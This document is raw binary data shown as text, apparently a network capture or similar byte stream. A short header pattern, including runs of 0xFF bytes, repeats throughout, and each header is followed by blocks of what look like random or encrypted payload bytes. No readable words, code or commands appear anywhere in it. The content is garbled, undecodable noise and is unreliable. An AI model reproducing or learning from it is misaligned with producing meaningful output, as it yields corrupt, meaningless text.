LWD6FtèVVBÿÿÿÿÿÿ¿2) T¡ Là˜FŽ Êê‰Ä=kzÌSžœƒB…£ ¼w’Þ ›“p[}Ïh!ϫޣê‚;Ó|ÍdÁ±Vã¨hWD6Frò Ô T¡ LWD6FsôVVBÿÿÿÿÿÿ¿2) T¡ L𘈋¢¡ì„l J`!&‚È€CêäñùµÓ)¾ W¥[ œ†ÇŽ=`å«FÌSmÿj½Û¹¢á( " hWD6Frþ Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ L™n–Vœ<ªy—°ý«úð©Îç裋÷¢xs€^DϦÉöÇD€ZZDZôQÊiÍ]ÕßuVÜ—‚Ž2 ù{ÙÈWD6Fr  Ô T¡ LWD6Fs VVBÿÿÿÿÿÿ¿2) T¡ L™¿®ƒ4ùÍ7ó”@Ù¦·<ć±[7Ìõ*ε¡¹Ï—hXSÏílßqJÁ¯.±¢Wyñ&ïcÚ2Õót®[ÙWD6Fr Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ L ™ìK¨ VÂûÕ+Ü á]ÞNÊ?â(:Š Ü#7êSUoôPèá^ÄÆ `‚Ì€øÃ ‰rF¯¾¨Á*‘WD6Fr  Ô T¡ LWD6Ft$VVBÿÿÿÿÿÿ¿2) T¡ L@™~x¤i¼šÖ¦Ë2R«ç…>k>`L™ýBÂV>?ÄDÔÍF-+þ3ÚíøÛ²S»çý2·é”BWD6Fr, Ô T¡ LWD6Ft.VVBÿÿÿÿÿÿ¿2) T¡ LP™×ôq¼—¼ ¢¬ÙÀ8^Lä;U€+¾;–?u¯¾¾Zù' :mŠT-Ò§zâ*]Í­]Ns*šWD6Fr8 Ô T¡ LWD6Fs8VVBÿÿÿÿÿÿ¿2) T¡ L`™gø£ðç×°-åøâ_ºÈþè·$F°€‹rpÝ¢ÜïhO0çèú‹¦ÇaeÅÁ uÄΫ´™ñÖCXWWD6FrB Ô T¡ LWD6FsDVVBÿÿÿÿÿÿ¿2) T¡ Lp™ûlçÞ, „¶táF¥6Þh5O i…WJ²¨±Z0© Íf_ùå«Þ@ïKÑŠG2ìh%WD6FsN Ô T¡ LWD6FtPVVBÿÿÿÿÿÿ¿2) T¡ L€™ª %‹[S—|k©qãØ\ÙÒxÅ ŸPò<Ü1Îߨºx2brþ~ï¾/•Šúæ*ÂÿÆd˜"/WD6FrZ Ô T¡ LWD6Fs\VVBÿÿÿÿÿÿ¿2) T¡ L™ƒ¤íÙ –ÖÖÕ*<la–&N†xinŒ89U"í^;I´Ó9Z!C7{`õ>â *MÒüvt‰â5 WD6Frd Ô T¡ LWD6FsfVVBÿÿÿÿÿÿ¿2) T¡ L ™ºD3%ì rî}¸¤_ºŒ)m¹Ñ\N¿>îë#Ñ_#ààÀe“nLm[=ÛAJný­LJöh:ÎZ¢ WD6Frp Ô T¡ LWD6FtrVVBÿÿÿÿÿÿ¿2) T¡ L°™†¾oÆ1märó†M¢” tE—Üi$îì5¦;k£Éð–é^IÞüŸ@§»*áÞɳ«án3>Ð:ÍêrWD6Fq| Ô T¡ LWD6Fs~VVBÿÿÿÿÿÿ¿2) T¡ LÀ™q,ÿÅW™ ûæÙ(zÝ- üM›.®I¢ ëq¡âq+Ö÷ÆÊ—Ôu·Ðíþl•Œ‹çeµ0/\eÛ)fà+¦WD6Fqˆ Ô T¡ LWD6FsˆVVBÿÿÿÿÿÿ¿2) T¡ LЙ _Ïi'fÏé§[ÒwR®ºAûñƹyÎ!B—“LžQÆŠúG„˺£(àÈÉ|QýÊ[ï]áWD6Fr” Ô T¡ LWD6Fs”VVBÿÿÿÿÿÿ¿2) T¡ Là™‘¸»‰hüD ëÒ Z_he”ÏÏ•]y™K ÍrOSú•t×Ùzb—žòôݹQø”$¶Ü]ªÞKŸåøWD6FqÖ Ô T¡ LWD6FsØVVBÿÿÿÿÿÿ¿2) T¡ Lð™ò²Áø=)Æ ‘Éó[=‘êÅ]/ñÙDF4¢Š‘ •è?:ét´²HÃ3Àü½xtج f?±sWD6Fsà Ô T¡ LWD6FtâVVBÿÿÿÿÿÿ¿2) T¡ LšæLd«$;e…fêYÇFͶ«÷?S‹÷¤…í“¿Ä(£‡ÕDÑÄ|w·t7K•·½_$ÆeRªwà¬ZWD6Fr$ Ô T¡ LWD6Fs&VVBÿÿÿÿÿÿ¿2) T¡ LšbH»MLyN#·˜Œ‚O*u0Â@žâwxÊ^sø“Yc½„»döØÛÒ·{£?N7]$ HVXŽ’=þ‘?WD6Frh Ô T¡ LWD6FtjVVBÿÿÿÿÿÿ¿2) T¡ L šÎêTÀc¼ã„¤®qà‘ÿšc×x[™• u|&öκ…$Êsj6íDôéTBª‹ýÜxiDzé d,-cH4WD6Frp Ô T¡ LWD6FsrVVBÿÿÿÿÿÿ¿2) T¡ L0ša2Éx†›@Å7ÿÇ·PѪ!Œ½tâÌÓÜÔ1s Zk7£"2].÷ZG‘’¥Ñd‘\‰zœXž «eQ(AÃWD6Fr| Ô T¡ LWD6Fs~VVBÿÿÿÿÿÿ¿2) T¡ L@šÚ–wðâ¿Zgåmì²ñšú×FøÖ}[îY¾5µVÖœuóGá“ ª_;U2O`—ä¦ â¹nØWD6Fr† Ô T¡ LWD6FsˆVVBÿÿÿÿÿÿ¿2) T¡ LPš¼LXÔ)ÝB#®\'—‚Åaã¯a ²^ëí3l•¹Qr@íÍ}-ósy¼çjßI"Œ37ŠhRèWD6Fr’ Ô T¡ LWD6Fs”VVBÿÿÿÿÿÿ¿2) T¡ L`š<ÞÍ ¤ùMáYÕ‡ÀÎèA ŸËAÿ,©µìx{Ñ©eí-sþµ§Bð_.UàÆ»fñ¼'ò¼é@}hBWD6Fsž Ô T¡ LWD6Ft VVBÿÿÿÿÿÿ¿2) T¡ LpšT^ÈкʾÃF’Ž w 03«JKú‘þlx£¼èwï./ ÿRÙX…þwŸ H²…á>ò?ºÍ¶kWD6Fpª Ô T¡ LWD6FtªVVBÿÿÿÿÿÿ¿2) T¡ L€š²v’‡óWΗl8™üÂs©ùWñ¤X:¶Í$¯ééÝÀ㫽$ÆÒ—†­˜šCâ/½Ã¶rl0WD6Fr´ Ô T¡ LWD6Fs¶VVBÿÿÿÿÿÿ¿2) T¡ L šÄv=˜ï¸VÏxyù´¸„#F«7ü,êpž­©æ/Õ±¨Ý —Ù~R<ßh‹á)ú؃qþ·5l¶WD6FrÀ Ô T¡ LWD6FtÂVVBÿÿÿÿÿÿ¿2) T¡ L°š:8å»Ê]hŽiõTM $€U`= cw®ÄôaÉ ñŽ ÝzÒÆ4ªG™¥“Å•ñÉT¿‰ˆÛquÇŠaúWD6FrÌ Ô T¡ LWD6FsÎVVBÿÿÿÿÿÿ¿2) T¡ LÀšmø_p°F¾s0w `r}LA@–3Ë…":ûíùu³øžms—hׯe(E–«<R#vIÊ9§´*H¼h” ¿WD6FrÖ Ô T¡ LWD6FtØVVBÿÿÿÿÿÿ¿2) T¡ LКäTÔ<í_›a8—ËŠéjä ¿Êܾ( ™™—Ø ­¾p´Ç}Q —"ØywÀ³ªâý án¡ï!WD6Frâ Ô T¡ LWD6FsäVVBÿÿÿÿÿÿ¿2) T¡ Làš…üheã×]gJ+œvÀÖ4ɲÕ%#â®@ÂÛ“ C˜%¨-B3ÓTtÝcü-®Uçï‰&4ý.['lÔö€WD6Frî Ô T¡ LWD6FtðVVBÿÿÿÿÿÿ¿2) T¡ Lðš÷8i´×N¿5´ˆË,·þêþ!õ¬'ÀÑÍ‚Tú¨éÈrîò,*ÈŠg€D$kçfÇ8ÛКrØpWD6Fsú Ô T¡ LWD6FtúVVBÿÿÿÿÿÿ¿2) T¡ L›ö½V‹^óš:‚™ô©‚U9ã°€ö v WPÍG•›\¯É³©´¹º£– ׳Ñ‚ïÁWD6Fq Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ L›%” |ö‚êÏ̆ªèôoÑË`îÜ&@[ì'pn÷ï(&s«€áîÜÐ8lé8‚ ó¹ë18r˜WD6Fr Ô T¡ LWD6FsVVBÿÿÿÿÿÿ¿2) T¡ L ›=R@¿:…[¿p/]Ù…ºl™"NÞI¿?™Ï©{Ú¸ó˜¨^0d èÁoÂhíå¶…lOÿ;ÁÒ“WD6Fq Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ L0›°7¯âdtáº=|伞h¸#»®cUsÏDCopêw…áH€ìL™ ¤o;"ì&>vj@Z¦ŒöASÁWD6Fs& Ô T¡ LWD6Ft(VVBÿÿÿÿÿÿ¿2) T¡ L@›±^w‡¢gç·ž€‰á(‡˜˜Ò9ß%Qd+I/IþÇ#Î…¤òo²_îØ÷JxÛ‰Ž½£œ\c‘]®)›ÄÕWD6Fr2 Ô T¡ LWD6Ft4VVBÿÿÿÿÿÿ¿2) T¡ LP›g¸ ÁŸŸÑ|k_u¦ò,{ê`”@XQ¯?÷ †!ìñïõÙïªù oíiòâ®Op§­ïS6F…za‘4"WD6Fs> Ô T¡ LWD6Fs@VVBÿÿÿÿÿÿ¿2) T¡ L`›»¦}ÝÒ®¼u裨|¼м{y—®®Ò%þ¾àM™ºm„²g×z²Ìk×@íôÝÍÛj¯–@ÂÙ¨¾•ß,áêúO7T2»¼’ §WD6FrŽ Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ LЛ2ï$Av™"Ü{nyª[ðòvq#\¥exñÄ¢¾|j”c:>Fhu$ýþ mÀ$†RVüÆ uˆ}¢³ÃFWD6Frš Ô T¡ LWD6FtœVVBÿÿÿÿÿÿ¿2) T¡ Là›Š^Ε¶_ŒX"ÆœÅð˜<õ-ÖÎú·µ“?/âìˆÄKtx×zôñ¦A]%tK¤‘õyl¬ÜÕLå=WD6Fr¤ Ô T¡ LWD6Ft¦VVBÿÿÿÿÿÿ¿2) T¡ Lð›P|ÏQôŠs÷Œ”©5dÈmYÔðž€tóÛçUÕ¹’ ŽçRÄú áúúzV0é/Ñ/Ïuh"ÎnHIÌÍ’0WD6Fs° Ô T¡ LWD6Ft²VVBÿÿÿÿÿÿ¿2) T¡ LœÇ¾äùåþØ)]*©`-1$?1à㺋uɉ=ßiv•d µHbAõˆëøÊKÈ·:7qTiñzÜ °ÂÛ„¨ÙµWD6Fr¼ Ô T¡ LWD6Ft¾VVBÿÿÿÿÿÿ¿2) T¡ Lœ\ UoJ¢).îÐUæÅfpÛD˜Ñà”Ûƒ°]½õЭ,l‰g {®÷_„¼*Ñ^T0w­gèWD6FrÈ Ô T¡ LWD6FtÈVVBÿÿÿÿÿÿ¿2) T¡ L œv,&A§oÚ%–£Ay­ ìÿx~Ý”®½íêra.£0¿K'Úa7õ¯Yˆð‡$°½³!| ~^V Ýr¢¹WD6FrÒ Ô T¡ LWD6FsÔVVBÿÿÿÿÿÿ¿2) T¡ L0œ1öÜ7}»:Ë€ÝïE•zú6f½ Èõ¶ÕJžËˆ,(p„Æ4iŸ¨Vú?jŠõÂŽÊeChñ{røWD6FsÞ Ô T¡ LWD6FsàVVBÿÿÿÿÿÿ¿2) T¡ L@œóZ'Ê£84P¸ø–Æ¥ì‡íYHúÓ±¨&²WsËï%„íI“`OåênЬ_á’;³àއïünp‘WD6Frê Ô T¡ LWD6FtìVVBÿÿÿÿÿÿ¿2) T¡ LPœþ®0Ÿ2d¾3îÙöy+¿ç±äz@<ƒfd§œ"j.¯l¨þý5–®eÎnss£B ݲZ¶ßåÖEŒ3åWD6Frö Ô T¡ LWD6FsöVVBÿÿÿÿÿÿ¿2) T¡ L`œú¹…\áHíI÷ãŒ÷C!2 35ÚÕØW5ÌÔòt¶m“ÎoM”&Í9³ ¹bÁ¢¹!_õ:Éi˜WD6Fr Ô T¡ LWD6FsVVBÿÿÿÿÿÿ¿2) T¡ Lpœà^äeHà 1€GÅË8•nß$¢p{ žž}GÔý1C‹9ŽàëtÖ£ˆW¼ÏÖúFný¿€yü?WD6Fr  Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ L€œ›’»R2xNÚ̆ŸÞŸ·÷Œy¦=hcèg`R*}e?W ~F®–i̵1M/áq£aóɬq¾X¾WD6Fs Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ Lœezÿfì×½ŠÖ΂×rÝ(bìêλªQe.\×nq‡$¬­Àz…RVVA>G* ‡KO•bO$ \ÁßnWD6Fr" Ô T¡ LWD6Ft$VVBÿÿÿÿÿÿ¿2) T¡ L œÞzØHÏëíÅgëM9Ç”ºÐÆ0›<ú‚Qlß©íè¨0ÐM)“sA¼Ÿ²l{[ÜM=á›§H¾nñWD6Fr. Ô T¡ LWD6Fs0VVBÿÿÿÿÿÿ¿2) T¡ L°œ RÈðb ÄÑ€ƒ Õ¢*Ñõ ®ÈƒNn½Nõ´Í匚O3“¨è§ ¹ƦQ&$9øe+:ášWD6Fr: Ô T¡ LWD6Ft<VVBÿÿÿÿÿÿ¿2) T¡ LÀœúžO±5Z1pÕ‹]ƒgg(š ÷êž7ŸxNü¶X p!-£Œ²¶€QÌ­‰¿"¼ºÇ6›‰Á¢Ô0dWD6FrF Ô T¡ LWD6FtFVVBÿÿÿÿÿÿ¿2) T¡ LàœY'q_n/9ËtÙ°³ÀjpÌŽSm\ÜÔX–Æ¢^F(Ý/¶MËÕ°Ó¾§º²ŽO^¼%,ûS€\;WD6FrP Ô T¡ LWD6FtRVVBÿÿÿÿÿÿ¿2) T¡ LðœÍÚ@¡×ä;¿ðN"|}ˆ~» ‹¦ôaä™\.‰OÊ]ä${Ù€§OLg1*µ˜Pñ’€ 8 B«¤pbò;WD6Fr\ Ô T¡ LWD6Ft^VVBÿÿÿÿÿÿ¿2) T¡ LWp¡«tçè$B<kßÀ£„>‡[5 yÏ…\ ÛóGü¨ÃÈe‡½ûab/™ÛDl:³$gЖà±ZŽWD6Frh Ô T¡ LWD6FsjVVBÿÿÿÿÿÿ¿2) T¡ L ÂBBw)¥oL¤€­ë$›TÅ0£¿v¢ª_ª¸~äÁìÏh^k¡E@¥ (í—êC˜¸µ®ÿ?´”WD6Frr Ô T¡ LWD6FttVVBÿÿÿÿÿÿ¿2) T¡ L Á‚oLе4¯âM„ sFm¤¨Æ¬ñ‚ì‚6Ë×rÇ3¶¹ê¦2(¨S;+ŠäØy¼¯ ÏÇE°çøTø¿êWD6Fr~ Ô T¡ LWD6Fs€VVBÿÿÿÿÿÿ¿2) T¡ L0,dŽnÁš$¢Ë î®Þynb(º+<ÆQ3”R«|Z*7e¤bï}´jS^*y¼â‰À~´µmWD6FrŠ Ô T¡ LWD6FtŒVVBÿÿÿÿÿÿ¿2) T¡ L@9 Á–ÕÔ¹T•7ñ¼&×=«_Éb vB£|œÙÞ.ÀRµ}q‹@háâÞ-òls׊HyðÇ$”WD6Fr– Ô T¡ LWD6Ft–VVBÿÿÿÿÿÿ¿2) T¡ LP•ҼȎ—>T§C—ˆ”˜X¢u÷ÀýÊKA½Ẍ_™ˆË'ЗܿÃEùVïb4g‹‚ZÿÉÿ½߈=WD6Fr¤ Ô T¡ LWD6Fs¤VVBÿÿÿÿÿÿ¿2) T¡ L`k,K^!Dè5 ž$MÁ#‡ÅÒöV4—­)–ÞX{âV†äORàVl§³$õ94]cÆëcBFŠõ|.˜¼WD6Fr¬ Ô T¡ LWD6Ft®VVBÿÿÿÿÿÿ¿2) T¡ LpZ25"» ý)@¢4QUwŠNd™±ªàzÇï]ú˜ñ‹O×ðèfGAK¬7ÕqÙdrUxE‡yWD6Fr¸ Ô T¡ LWD6FtºVVBÿÿÿÿÿÿ¿2) T¡ L€d$¨Ý•í‹\ˆ|/ëË^zhêò‰ ¯™Ö‰«ž¬5Ð̾'-a‡©ÍœOp]MF8¹Dç‚9¬ú¤,Úý(XWD6FrÂ Ô T¡ LWD6FtÄVVBÿÿÿÿÿÿ¿2) T¡ LóÒ`1§ÍjFמC_>u¢8’µë8®Ç@ÞéËH2´ŠåÁB-pÂgßãÀ¨Ú+$ þ%˜ZÐMFð@WD6FrÎ Ô T¡ LWD6FtÐVVBÿÿÿÿÿÿ¿2) T¡ L €ìÅÀà)¥HFHCö¶Å0¾Ráa3³¾¼·iK¨qe“S‰A˜gMÁ®¯TèÙµiB¿¥£ƒJÔôÈ•²WD6FrÚ Ô T¡ LWD6FsÜVVBÿÿÿÿÿÿ¿2) T¡ L°>¶Ø?06Ö3L¿/P€[ŽØá2߯—KŠ(!=.FëE0ÄFŒ ÷p.Q¸W3享ü ¬û´ÛSÀ£G=XŠÎWD6Fræ Ô T¡ LWD6FtèVVBÿÿÿÿÿÿ¿2) T¡ LÀ’ÖÞÓWGHFyÂ4(Rqcxn\àJ }y™mˆ[IJ$,ÃèLh‘ׯ^…Xü#' rùàlŸV ‰žDWD6Frð Ô T¡ LWD6FtòVVBÿÿÿÿÿÿ¿2) T¡ LÐö>·5ɉPºì¶÷Z*+#S½ÏÐï÷ÐŽ™Âé½™wøïlr™}or! µµï†2ÌÎFð”â•é ™àWD6Frü Ô T¡ LWD6FtþVVBÿÿÿÿÿÿ¿2) T¡ Lय़܉l§ç‰ðg>”k—ËQðîe¬‚¥bÙ6nÃCì#»^NAs‡Dž×Ò-[Ö+ESy¬7ú'¸ØjWD6Fr Ô T¡ LWD6Ft VVBÿÿÿÿÿÿ¿2) T¡ LðÊ`ß@}.,Ö×ãé9Ë6ŸèãçסšI„žÞÍi!ÏðÎãB"<ç¢$ýè˜[üã*,VþÕžÙ¨§5WD6Fs Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ Lžúè‰îW79¨•$nîætµ8úq4LtQÓ÷T…›²î8v%T\0ç@v–:8¹™×§Ó•mÀTÖšýõV÷E!4áÛ%Äišw—+E0²FjËvÞæªéH-/’ k…\N­_(WD6Fr* Ô T¡ LWD6Fs,VVBÿÿÿÿÿÿ¿2) T¡ L žˆÄWErŒ#XbF5*[WD6FrB Ô T¡ LWD6FtDVVBÿÿÿÿÿÿ¿2) T¡ L@žÜj®‹wÛjí¹ÇóšºïébSw3ÈUÄî9è¾–¤R۞ȡ TC‰ä«ËîÑógÏ]åPë_ïîÀWD6FrL Ô T¡ LWD6FsNVVBÿÿÿÿÿÿ¿2) T¡ LPž¼Þ ÝÆÐdãtÜE\¾ÆÙ_{––ŽÉºø'Ö#xŽ'd¬;Ðy9'J¶HÚ5°ßJrú=9ãôWD6FrX Ô T¡ LWD6FsZVVBÿÿÿÿÿÿ¿2) T¡ L`ž*PÑ9®ŠtÊRaÚ·j(- °/‰ àÝ…ŠpR>£Ã˜¿êïccpí&u¶[¥J ÞœTØô‰F*z(XhWD6Frd Ô T¡ LWD6FsdVVBÿÿÿÿÿÿ¿2) T¡ Lpž0xz$ þä÷ì•v²M¬l×vn–øX 0ùM@sèÖcâL­PD `&= 6×›fã§±7•ò3¢WD6Fsn Ô T¡ LWD6FtpVVBÿÿÿÿÿÿ¿2) T¡ L€ž÷N.Ђ&´\Y{òJ µ3&Ô„õT<Ùì›ß6‹výtˆ8{–Jö’Á©Z¤å: s‚Õ-WD6Frz Ô T¡ LWD6Ft|VVBÿÿÿÿÿÿ¿2) T¡ Lž°˜œ¾8×ê«F ˆw;•Lž6¶¢RÚ±@4Ö5¶‰dÃߎÄdÀ(d(«“г$IÚÀ––þ1->¥-WD6Fs† Ô T¡ LWD6FsˆVVBÿÿÿÿÿÿ¿2) T¡ L žz'N$¯Úö<¨µ´z<ëdKŸ3TÅèmT¯¸€7¤§µ‰Sܺžî“'Tâo„¯ó™XÚÒWD6Fr Ô T¡ LWD6Ft’VVBÿÿÿÿÿÿ¿2) T¡ L°ž5œ_Ù ŸÛ𣘞«‡TÕªš“ãNHÔÄÁœëeŠÊ–ÃGñÏòúù%C±*¨ÞHý-»}rýhÖE WD6Frœ Ô T¡ LWD6FsžVVBÿÿÿÿÿÿ¿2) T¡ LÀžÆ-Ùšr|T-p(î'³#%Ëjõ„]úî8UWD6Frâ Ô T¡ LWD6FtâVVBÿÿÿÿÿÿ¿2) T¡ L0Ÿ~MÏeÛ{aõææN5Ý7¦ë¨Ž£CŠ0dlØ?¸žù‡ÀOÆ4Æõž&#¢ÄáRâ:=ÉWD6Fsì Ô T¡ LWD6FtîVVBÿÿÿÿÿÿ¿2) T¡ L@Ÿ FËdã9©ò )„9ò9†)“°›ÒÙ‘íÿqV§#ç ÍÌÀ›­L¼¶“¦„Š·lü—E;Å?WD6Frø Ô T¡ LWD6FtúVVBÿÿÿÿÿÿ¿2) T¡ LPŸnɽîof±­ÉÙ"‚d4˜ù”ÅÅg¾&(óJ݉7Ä3†- âoõ•ÿç¿™îx´ÁéjŒgyŽCQWD6Fr Ô T¡ LWD6FsVVBÿÿÿÿÿÿ¿2) T¡ L`ŸŸ„þ8‘êe´66î­¡`Ö£™¬K"¡û%Nƈä™á—Œ,—d¾ÚcÒ#ûÇmª`1u;gë« ƽÕýD[áÊWD6Fr Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ LpŸ{>Ôÿ ë¹tpõronþ'i%a÷g²+ði´äó}¡†óâyly•¢˜m0䣀¦jŽD–WD6Fr Ô T¡ LWD6FsVVBÿÿÿÿÿÿ¿2) T¡ L€Ÿ  |ñ÷n'”ä"zPHZðÕìµ\ú‹|EJÎtMfÍ8‹Ï@’üZ°èã[ÊÄG˜]]oÿ´¼”8óÝ´WD6Fr& Ô T¡ LWD6Fs(VVBÿÿÿÿÿÿ¿2) T¡ LŸÕÚ‡ ìË}¶œ>7Öi8}¦Ïö-ÀÎômiŸ0+-áAŽ‚ÊH"ßXVÀèà•Ý<¯â LœLOÍÖï!WD6Fr2 Ô T¡ LWD6Ft2VVBÿÿÿÿÿÿ¿2) T¡ L ŸëšT*Õ-XNÍÔϘ*!%„̆àÐMËNÍ0FÌMUx=ívå+‘°á*’e‰Z’]"Ë]c˜òe•ß¿WD6Fr< Ô T¡ LWD6Ft>VVBÿÿÿÿÿÿ¿2) T¡ L°ŸNðÊno–Û±$/¬Á¯ÿf_ÏSþä¹øî¥ÈÊÇùƒ°@,R;ñâT¬ZLz {˜[J¹è]ÜÄJ±yWD6FrH Ô T¡ LWD6FtJVVBÿÿÿÿÿÿ¿2) T¡ LÀŸØ„Z1a};mþã*ܰáÛh•+Cn ùU§ ãÀ˜¥ÚâÓc;ò²²ÐØOÓSD½^íiB¤œ“WD6FrT Ô T¡ LWD6FtVVVBÿÿÿÿÿÿ¿2) T¡ LПâlåýä5¨_÷ªÕ<½Ñ ìÃDô¤dõfûOÍ›húÁLKwD ¨–ìÃ.0À•.O*Z<*WD6Fr^ Ô T¡ LWD6Fs`VVBÿÿÿÿÿÿ¿2) T¡ LàŸ+\zæ©óïàQPq]*þžÎ)¯+Óê"m»}"@^QÑ£hªµ*mi¡å±ÖÚ­¹ci¼SIçR¨ô"WD6Frj Ô T¡ LWD6FslVVBÿÿÿÿÿÿ¿2) T¡ LðŸ’1Ó½q"jiqC†:øá”âî(Ùâ+…Ûr|,s—Æä°%Üísû15yX7ɤ…Ç»9ܹÂ"9WD6Frv Ô T¡ LWD6FsxVVBÿÿÿÿÿÿ¿2) T¡ L ¤zx…yU:ë«øÚŸ„øµ(uí^_}•>× +àIXs|kwhIÍêØ-q×<Õ9ªøØÛƒö–¨XkÿcWD6Fs‚ Ô T¡ LWD6Ft„VVBÿÿÿÿÿÿ¿2) T¡ L Ü¤{:²™Êîªpñ¼V¦>r™kiÞ¼óðbŒ/fä‡ôµG™óªl–À ^ðìWD6FrŒ Ô T¡ LWD6FsŽVVBÿÿÿÿÿÿ¿2) T¡ L  °ê/Ò´Îó€¬x·âˆÔ„i¦ëóÁÃj ÀhZ–±—hÌÿg§’ JMz0@¦t Ãý¤1Œ ©¡ôöWD6Fr˜ Ô T¡ LWD6FtšVVBÿÿÿÿÿÿ¿2) T¡ L0 0Ü€°ê‘‡ÀñÍÈPÐùˆ_¢ý„›ÔÀ/¥yzמ§{:øù¶o‹íKBtŸ°ÕM÷Øþ­¦·êY‡WD6Fs¤ Ô T¡ LWD6Fs¦VVBÿÿÿÿÿÿ¿2) T¡ L@ ø¼ž3Pµ«hGŸ9Û4¥PÕ«gy¶ñšâùÛ[C+<ùñ£³DÞLð³¨ms{NqY%lBõò×]4fWD6Fr° Ô T¡ LWD6Ft°VVBÿÿÿÿÿÿ¿2) T¡ LP ç´Z|}e[éëô>‚üe«çlÆÐ­ƒ«]¼Ö‘RÏô¬´¹ÖD†–œ©¤l¦oq …!·ÅÃWD6Frº Ô T¡ LWD6Ft¼VVBÿÿÿÿÿÿ¿2) T¡ L` µ¬2™x0Ðã«îáDsáåc(j€¨ÃS&ÿeÌð mRWD6FsÒ Ô T¡ LWD6FsÔVVBÿÿÿÿÿÿ¿2) T¡ L€ Ëœ ÒA#ãBhYB×÷˜^íúª½rã™*Fáâ ±‚PÕH§§Ôbyd$‘¾Êù…4v–!)Oø·WD6FrÜ Ô T¡ LWD6FsÞVVBÿÿÿÿÿÿ¿2) T¡ L û@µòÂ×=–xÂûykO›Ìk™‘©K'“ðÃç œ­Ç\ÑÛ¿ì–mŸ9ªþ]7_‘xowá{ÉY ixWD6Frè Ô T¡ LWD6FtêVVBÿÿÿÿÿÿ¿2) T¡ L  åèÇ×Äûô¡à.üS¨+_»–â%¬³M_Œ—2•ì9R&?s²\ìšWâ”ÁYc¤ÓCq‚‰áÚkúWD6Fsô Ô T¡ LWD6FtöVVBÿÿÿÿÿÿ¿2) T¡ L°  ò~›Ÿzý_î3ÿM!À„>âÖu}²$’b!¾PŸgòD¯ÃÜ0wF ‡½ôsª}ØèÆ1œZØWD6Fr Ô T¡ LWD6FtVVBÿÿÿÿÿÿ¿2) T¡ LÀ †Û˜'ÖU_Lá—™²Ê´¼w”Óã†p,RêÖsGµF°>D!?Üåüg)–[BÔƀ𙲠ùIütÿWD6Fs  Ô T¡ LWD6Ft VVBÿÿÿÿÿÿ¿2) T¡ LР;&; ´ÂZ*ã²Å‘c°ûUÚè!cë"àQ¤%+`Ídü0–½ÉlÛ}Âþô¾úºŸ&P[¸»ÐWD6Fr Ô T¡ LWD6FsVVBÿÿÿÿÿÿ¿2) T¡ Là G¦áð+ {Ζéºw?˜4e*@K7¾zA¶,‹õ|’Çí{›üwéÜñØÓÖ½öC¼ë‘5q½WD6Fr" Ô T¡ LWD6Fs$VVBÿÿÿÿÿÿ¿2) T¡ Lð ˜ÂDY ¨p¹kìåABÌÆµ‚‡Åî ï‡{ ·Õi™p>½MH7€pÛ JÐ+nßü æ…:i©­²ŽWD6Fr, Ô T¡ LWD6Fs.VVBÿÿÿÿÿÿ¿2) T¡ L¡‰®óu7âÌúÏsy (ëŨùÓÝ1IûªùjOƒr§þ8l¯ÕœÛºY…ü 'ß„à…™®ð ægWD6Fr8 Ô T¡ LWD6Ft:VVBÿÿÿÿÿÿ¿2) T¡ L¡ l@«%Ü0Ðû¹ßšÓÓ\oñT½úΙâèÚ‰¨­ø%ƒ‹Àå¸Uáþ#H÷¡Ý“˜Úp€ÀðZ ÍÚ‰WD6FrD Ô T¡ LWD6FsFVVBÿÿÿÿÿÿ¿2) T¡ L ¡§ô DKµ³j:º™Îçòœ£™5íùÿ¹M[òÝ`œý šó R¹ûoú½ž±§¼ëó¼UŸÂ)VàWD6FrP Ô T¡ LWD6FsPVVBÿÿÿÿÿÿ¿2) T¡ L0¡ ŽlÏþ‡‚ ‘…Ì}#²£1çßÝÆâšø?PW±·BïÀC×Ó?™ß |c8@–¹á¡‡C5ÒvËWD6FrZ Ô T¡ LWD6Ft\VVBÿÿÿÿÿÿ¿2) T¡ L@¡‹,7÷…åc;Á !5¬6ÿD£+,#Ž>R¨èÑÓ+‚ †k›pòîÚÊÁ «Ík$r¡yªiÉÃWD6Frf Ô T¡ LWD6FshVVBÿÿÿÿÿÿ¿2) T¡ L`¡Ÿꪼ=ís¤©HXk°è±R[„<æÏ6÷ç½ø­YñO‹€áGšcRŠ®¨¸óU" ½²™.ƒèö·ÐúdoWD6Frr Ô T¡ LWD6FttVVBÿÿÿÿÿÿ¿2) T¡ Lp¡É8ÁY×NdLØ®!"Q|PÅyá«cÓxa4¿ <ÄNmKMŒ`Oyçö»ŒÍ§qYCáêK–µ¡WD6Fr~ Ô T¡ LWD6Fs~VVBÿÿÿÿÿÿ¿2) T¡ L€¡ÚB)ƒ‡ºÁÝ!ï ¤¦R:49IñðFÙÒgÓј#®¹uf‰/ñT;ŠÓ9E:xÊ>?õÙU5‘?è[WD6Frˆ Ô T¡ LWD6FtŠVVBÿÿÿÿÿÿ¿2) T¡ L¡1øéQdý_óŸi×Ë(”)±nÚm£–ï-6•ï÷Š¢}$äbâðÐZÕ ûZì=¯Óµê ? rYS“ÌWD6Fs” Ô T¡ LWD6Fs–VVBÿÿÿÿÿÿ¿2) T¡ L ¡Õnï{‹ÄIUt$NnÍá%6+1ŽîMØ"·)ÚÍSÖ²­¢êJ™íhëAqu˜cãÛµ8?.ÀÂîB5|ÒWD6Fr  Ô T¡ LWD6Ft¢VVBÿÿÿÿÿÿ¿2) T¡ L°¡ÝäOp{ø_`´òÈ}¢Iù)Z÷xˉ}ÿžÝ®ìv¿ÉÇÎw›áX°ÕH亳ÕN¬j˜”,jxWD6Frª Ô T¡ LWD6Ft¬VVBÿÿÿÿÿÿ¿2) T¡ LÀ¡¡2Üél“°ézWD6Frú Ô T¡ LWD6FtüVVBÿÿÿÿÿÿ¿2) T¡ L0¢ì Ð.…®9XàèÂÛ¬î­Wÿ×±1WD6Fr Ô T¡ LWD6Fs VVBÿÿÿÿÿÿ¿2) T¡ L@¢œ‘m¥µ€+ôZ·Ánоà’âʧÉk¼ÊÑ$0tØžY…Yßx•Åu×ü¯j͈qëܘ„ίä{CWD6Fr Ô T¡ LWD6Fs VVBÿÿÿÿÿÿ¿2) T¡ 